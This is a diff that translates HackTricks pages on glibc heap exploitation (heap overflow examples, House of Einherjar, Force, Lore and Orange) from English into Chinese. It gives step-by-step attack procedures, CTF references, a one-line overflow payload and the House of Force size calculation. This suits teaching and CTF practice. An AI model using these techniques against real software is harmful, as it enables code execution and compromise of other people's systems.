-In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, it’s possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`.
+为了强制用特定大小的对象填充,**与 iOS mach 端口相关的离线分配**是一个理想的候选者。通过精确设置消息的大小,可以准确指定 `kalloc` 分配的大小,当相应的 mach 端口被销毁时,相应的分配将立即释放回 `kfree`。
-Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, it’s probable that this object will be followed by a victim object.
+然后,这些占位符中的一些可以被 **释放**。**`kalloc.4096` 空闲列表以后进先出顺序释放元素**,这基本上意味着如果一些占位符被释放,并且利用尝试在分配易受溢出影响的对象时分配多个受害者对象,则该对象很可能会被一个受害者对象跟随。
-### Example libc
+### 示例 libc
-[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.
+[**在此页面**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) 可以找到一个基本的堆溢出仿真,展示了如何通过覆盖下一个块的 prev in use 位和 prev size 的位置来 **合并一个已使用的块**(使其认为是未使用的)并 **再次分配它**,能够覆盖在不同指针中使用的数据。
-Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.
+另一个来自 [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) 的示例展示了一个非常基本的 CTF 示例,其中 **堆溢出** 可以被滥用以调用赢家函数以 **获取标志**。
-In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.
+在 [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) 示例中,可以看到如何通过滥用缓冲区溢出来 **覆盖在一个临近块中的地址**,该地址将 **写入来自用户的任意数据**。
-### Example ARM64
-
-In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
+### 示例 ARM64
+在页面 [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) 中,您可以找到一个堆溢出示例,其中要执行的命令存储在溢出块的下一个块中。因此,可以通过用简单的利用覆盖它来修改执行的命令,例如:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
-
-### Other examples
+### 其他示例
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
- - We use an Integer Overflow vulnerability to get a Heap Overflow.
- - We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
+- 我们利用整数溢出漏洞来获取堆溢出。
+- 我们破坏指向溢出块内 `struct` 中函数的指针,以设置如 `system` 的函数并获得代码执行。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md
index 28c6fd437..63dc2d365 100644
--- a/src/binary-exploitation/libc-heap/house-of-einherjar.md
+++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md
@@ -2,48 +2,48 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-### Code
+### 代码
-- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
-- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache)
+- 查看示例 [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
+- 或者查看 [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation)(你可能需要填充 tcache)
-### Goal
+### 目标
-- The goal is to allocate memory in almost any specific address.
+- 目标是在几乎任何特定地址分配内存。
-### Requirements
+### 要求
-- Create a fake chunk when we want to allocate a chunk:
- - Set pointers to point to itself to bypass sanity checks
-- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag.
-- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk
- - The fake chunk size must also have been set the same size to bypass sanity checks
-- For constructing these chunks, you will need a heap leak.
+- 当我们想要分配一个块时,创建一个假块:
+- 设置指针指向自身以绕过完整性检查
+- 使用一个字节溢出从一个块到下一个块的空字节来修改 `PREV_INUSE` 标志。
+- 在被空字节滥用的块的 `prev_size` 中指示它与假块之间的差异
+- 假块的大小也必须设置为相同的大小以绕过完整性检查
+- 构造这些块时,你需要一个堆泄漏。
-### Attack
+### 攻击
-- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections
-- 2 other chunks (`B` and `C`) are allocated
-- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before
- - This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks.
-- Then, the tcache is filled
-- Then, `C` is freed so it consolidates with the fake chunk `A`
-- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk
- - The house of Einherjar finishes here
-- This can be continued with a fast bin attack or Tcache poisoning:
- - Free `B` to add it to the fast bin / Tcache
- - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)
- - Then, 2 mallocs are done and the second one is going to be **allocating the target address**
+- 在攻击者控制的块内创建一个假块 `A`,用 `fd` 和 `bk` 指向原始块以绕过保护
+- 分配另外两个块(`B` 和 `C`)
+- 在 `B` 中滥用 off by one,清除 `prev in use` 位,并用 `C` 块分配位置与假块 `A` 之间的差异覆盖 `prev_size` 数据
+- 这个 `prev_size` 和假块 `A` 中的大小必须相同以绕过检查。
+- 然后,填充 tcache
+- 然后,释放 `C` 以便与假块 `A` 合并
+- 然后,创建一个新的块 `D`,它将从假块 `A` 开始并覆盖块 `B`
+- Einherjar 之家在这里结束
+- 这可以通过快速 bin 攻击或 Tcache 中毒继续:
+- 释放 `B` 以将其添加到快速 bin / Tcache
+- `B` 的 `fd` 被覆盖,使其指向目标地址,滥用 `D` 块(因为它包含 `B`)
+- 然后,进行 2 次 malloc,第二次将 **分配目标地址**
-## References and other examples
+## 参考和其他示例
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
- - After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets.
+- 释放指针后它们并未被置为 null,因此仍然可以访问它们的数据。因此,一个块被放置在未排序的 bin 中并泄漏它包含的指针(libc leak),然后在未排序的 bin 中放置一个新的堆并泄漏从它获取的指针的堆地址。
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- - Null-byte overflow bug in `strtok`.
- - Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive.
+- `strtok` 中的空字节溢出漏洞。
+- 使用 Einherjar 之家获取重叠块的情况,并通过 Tcache 中毒结束以获得任意写入原语。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md
index 7d4fb9247..a17bdba6c 100644
--- a/src/binary-exploitation/libc-heap/house-of-force.md
+++ b/src/binary-exploitation/libc-heap/house-of-force.md
@@ -2,45 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-### Code
+### 代码
-- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size`
- - You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want.
+- 该技术已被修补([**在这里**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)),并产生此错误:`malloc(): corrupted top size`
+- 如果需要,您可以尝试[**这里的代码**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)进行测试。
-### Goal
+### 目标
-- The goal of this attack is to be able to allocate a chunk in a specific address.
+- 此攻击的目标是能够在特定地址分配一个块。
-### Requirements
+### 要求
-- An overflow that allows to overwrite the size of the top chunk header (e.g. -1).
-- Be able to control the size of the heap allocation
+- 一个允许覆盖顶部块头部大小的溢出(例如 -1)。
+- 能够控制堆分配的大小。
-### Attack
+### 攻击
-If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space.
-
-Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
+如果攻击者想要在地址 P 中分配一个块以覆盖此处的值。他首先通过`-1`(可能通过溢出)覆盖顶部块的大小。这确保了 malloc 不会使用 mmap 进行任何分配,因为顶部块将始终有足够的空间。
+然后,计算顶部块地址与要分配的目标空间之间的距离。这是因为将执行一个具有该大小的 malloc,以便将顶部块移动到该位置。这就是如何轻松计算差异/大小的方法:
```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/*
- * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
- * new_top = old_top + nb
- * nb = new_top - old_top
- * req + 2sizeof(long) = new_top - old_top
- * req = new_top - old_top - 2sizeof(long)
- * req = target - 2sizeof(long) - old_top - 2sizeof(long)
- * req = target - old_top - 4*sizeof(long)
- */
+* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
+* new_top = old_top + nb
+* nb = new_top - old_top
+* req + 2sizeof(long) = new_top - old_top
+* req = new_top - old_top - 2sizeof(long)
+* req = target - 2sizeof(long) - old_top - 2sizeof(long)
+* req = target - old_top - 4*sizeof(long)
+*/
```
+因此,分配大小为 `target - old_top - 4*sizeof(long)`(4个long是因为顶部块和新分配块的元数据)将把顶部块移动到我们想要覆盖的地址。\
+然后,再次进行malloc以在目标地址获取一个块。
-Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
-Then, do another malloc to get a chunk at the target address.
-
-### References & Other Examples
+### 参考文献与其他示例
- [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
@@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address.
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
- - The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function
- - The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff)
- - Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc`
- - Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function
+- 这个场景的目标是ret2win,我们需要修改一个函数的地址,该函数将由ret2win函数的地址调用
+- 二进制文件存在一个溢出,可以被利用来修改顶部块的大小,该大小被修改为-1或p64(0xffffffffffffffff)
+- 然后,计算指针存在的地方的地址,以及从当前顶部块位置到该处的差值,并使用`malloc`进行分配
+- 最后,分配一个新块,其中将包含这个期望的目标,该目标将被ret2win函数覆盖
- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- - In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap
- - Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**.
- - Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh`
- - An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`.
+- 在`Input your name:`中存在一个初始漏洞,允许从堆中泄漏一个地址
+- 然后在`Org:`和`Host:`功能中,当询问**org name**时,可以填充`s`指针的64B,在栈中紧随其后的是v2的地址,然后是指示的**host name**。由于strcpy将复制s的内容到一个大小为64B的块中,因此可以用**host name**中放入的数据**覆盖顶部块的大小**。
+- 现在任意写入成为可能,`atoi`的GOT被覆盖为printf的地址。然后可以使用`%24$p`泄漏`IO_2_1_stderr`的地址。通过这个libc泄漏,可以再次用`system`的地址覆盖`atoi`的GOT,并传递`/bin/sh`作为参数调用它
+- 在这个其他写作中提出的替代方法[proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud),是用`puts`覆盖`free`,然后在稍后将被释放的指针中添加`atoi@got`的地址,以便泄漏,并通过这个泄漏再次用`system`覆盖`atoi@got`并调用它,参数为`/bin/sh`。
- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
- - There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
- - Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
+- 存在一个UAF,允许重用一个未清除指针的已释放块。由于存在一些读取方法,可以通过在GOT中写入指向free函数的指针来泄漏libc地址,然后调用读取函数。
+- 然后,使用House of force(利用UAF)来用-1覆盖剩余空间的大小,分配一个足够大的块以到达free hook,然后分配另一个块,该块将包含free hook。然后,在hook中写入`system`的地址,在一个块中写入`"/bin/sh"`,最后释放包含该字符串内容的块。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md
index 862ba7323..d02aa13c6 100644
--- a/src/binary-exploitation/libc-heap/house-of-lore.md
+++ b/src/binary-exploitation/libc-heap/house-of-lore.md
@@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-### Code
+### 代码
-- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- - This isn't working
-- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- - This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
-- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
+- 检查来自 [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
+- 这个不工作
+- 或者: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
+- 即使它尝试绕过一些检查,仍然不工作,出现错误: `malloc(): unaligned tcache chunk detected`
+- 这个例子仍然有效: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
-### Goal
+### 目标
-- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\
- Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position.
+- 在小桶中插入一个**假小块,以便可以分配它**。\
+注意,添加的小块是攻击者创建的假块,而不是任意位置的假块。
-### Requirements
+### 要求
-- Create 2 fake chunks and link them together and with the legit chunk in the small bin:
- - `fake0.bk` -> `fake1`
- - `fake1.fd` -> `fake0`
- - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- - `legit.bk` -> `fake0`
+- 创建2个假块并将它们链接在一起,并与小桶中的合法块链接:
+- `fake0.bk` -> `fake1`
+- `fake1.fd` -> `fake0`
+- `fake0.fd` -> `legit`(你需要通过其他漏洞修改已释放小桶块中的指针)
+- `legit.bk` -> `fake0`
-Then you will be able to allocate `fake0`.
+然后你将能够分配`fake0`。
-### Attack
+### 攻击
-- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.**
-- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks:
- - `fake0.bk` -> `fake1`
- - `fake1.fd` -> `fake0`
- - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- - `legit.bk` -> `fake0`
-- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins
-- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it.
+- 分配一个小块(`legit`),然后分配另一个小块以防止与顶部块合并。然后,释放`legit`(将其移动到未排序的桶列表中),并分配一个更大的块,**将`legit`移动到小桶中。**
+- 攻击者生成一对假小块,并进行必要的链接以绕过完整性检查:
+- `fake0.bk` -> `fake1`
+- `fake1.fd` -> `fake0`
+- `fake0.fd` -> `legit`(你需要通过其他漏洞修改已释放小桶块中的指针)
+- `legit.bk` -> `fake0`
+- 分配一个小块以获取合法块,使**`fake0`**成为小桶的顶部列表
+- 再分配一个小块,获取`fake0`作为块,允许潜在地读取/写入其中的指针。
-## References
+## 参考
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore)
diff --git a/src/binary-exploitation/libc-heap/house-of-orange.md b/src/binary-exploitation/libc-heap/house-of-orange.md
index e57f477c6..ac519ac6c 100644
--- a/src/binary-exploitation/libc-heap/house-of-orange.md
+++ b/src/binary-exploitation/libc-heap/house-of-orange.md
@@ -2,72 +2,72 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-### Code
+### 代码
-- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- - The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26)
-- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
+- 在 [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) 找到一个示例
+- 该利用技术在这个 [补丁](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) 中被修复,因此现在不再有效(在 2.26 之前有效)
+- 同样的示例 **带有更多注释** 在 [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
-### Goal
+### 目标
-- Abuse `malloc_printerr` function
+- 滥用 `malloc_printerr` 函数
-### Requirements
+### 要求
-- Overwrite the top chunk size
-- Libc and heap leaks
+- 覆盖顶部块大小
+- Libc 和堆泄漏
-### Background
+### 背景
-Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
+一些来自 [**这个示例**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)** 的必要背景:**
-Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\
-This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\
-Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution
+问题是,在旧版本的 libc 中,当调用 `malloc_printerr` 函数时,它会 **遍历存储在 `_IO_list_all` 中的 `_IO_FILE` 结构的列表**,并实际 **执行** 该结构中的指令指针。\
+这个攻击将伪造一个 **假的 `_IO_FILE` 结构**,我们将写入 **`_IO_list_all`**,并导致 `malloc_printerr` 运行。\
+然后它将 **执行我们在 `_IO_FILE` 结构跳转表中存储的任何地址**,我们将获得代码执行。
-### Attack
+### 攻击
-The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.
+攻击开始于成功获取 **未排序的块** 中的 **顶部块**。这是通过调用 `malloc`,其大小大于当前顶部块大小但小于 **`mmp_.mmap_threshold`**(默认是 128K)来实现的,否则会触发 `mmap` 分配。每当顶部块大小被修改时,确保 **顶部块 + 其大小** 是页面对齐的,并且顶部块的 **prev_inuse** 位始终被设置是很重要的。
-To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin.
+为了获取未排序块中的顶部块,分配一个块以创建顶部块,改变顶部块大小(通过分配的块中的溢出),使得 **顶部块 + 大小** 与 **prev_inuse** 位设置为页面对齐。然后分配一个大于新顶部块大小的块。请注意,`free` 从未被调用以将顶部块放入未排序块中。
-The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), it’s possible to leak libc addresses from it and get the address of **\_IO_list_all**.
+旧的顶部块现在在未排序块中。假设我们可以读取其中的数据(可能是由于导致溢出的漏洞),可以从中泄漏 libc 地址并获取 **\_IO_list_all** 的地址。
-An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**.
+通过滥用溢出写入 `topChunk->bk->fwd = _IO_list_all - 0x10` 来执行未排序块攻击。当分配一个新块时,旧的顶部块将被拆分,并且指向未排序块的指针将被写入 **`_IO_list_all`**。
-The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes:
+下一步是将旧顶部块的大小缩小以适应小块,特别是将其大小设置为 **0x61**。这有两个目的:
-1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack.
-2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`.
+1. **插入到小块 4**:当 `malloc` 扫描未排序块并看到这个块时,由于其小尺寸,它将尝试将其插入到小块 4。这使得该块最终位于小块 4 列表的头部,这是我们通过未排序块攻击在 **`_IO_list_all`** 中写入的块的 FD 指针的位置。
+2. **触发 malloc 检查**:这个块大小的操作将导致 `malloc` 执行内部检查。当它检查虚假前向块的大小时,该大小将为零,触发错误并调用 `malloc_printerr`。
-The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed.
+小块的操作将允许你控制块的前向指针。与 **\_IO_list_all** 的重叠用于伪造一个假的 **\_IO_FILE** 结构。该结构经过精心设计,以包含关键字段,如 `_IO_write_base` 和 `_IO_write_ptr`,设置为通过 libc 内部检查的值。此外,在假结构中创建一个跳转表,其中指令指针设置为可以执行任意代码的地址(例如,`system` 函数)。
-To summarize the remaining part of the technique:
+总结该技术的其余部分:
-- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin.
-- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow.
+- **缩小旧顶部块**:将旧顶部块的大小调整为 **0x61** 以适应小块。
+- **设置假的 `_IO_FILE` 结构**:将旧顶部块与假的 **\_IO_FILE** 结构重叠,并适当地设置字段以劫持执行流。
-The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed.
+下一步涉及伪造一个与当前在未排序块中的旧顶部块重叠的假 **\_IO_FILE** 结构。该结构的前几个字节经过精心设计,以包含指向将被执行的命令(例如,"/bin/sh")的指针。
-Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands.
+假 **\_IO_FILE** 结构中的关键字段,如 `_IO_write_base` 和 `_IO_write_ptr`,被设置为通过 libc 内部检查的值。此外,在假结构中创建一个跳转表,其中指令指针设置为可以执行任意代码的地址。通常,这将是 `system` 函数的地址或其他可以执行 shell 命令的函数。
-The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed.
+当调用 `malloc` 触发通过操控的 **\_IO_FILE** 结构执行代码时,攻击达到高潮。这有效地允许任意代码执行,通常导致生成一个 shell 或执行其他恶意负载。
-**Summary of the Attack:**
+**攻击总结:**
-1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size.
-2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk.
-3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin.
-4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow.
-5. **Shrink the old top chunk**: Adjust its size to fit into a small bin.
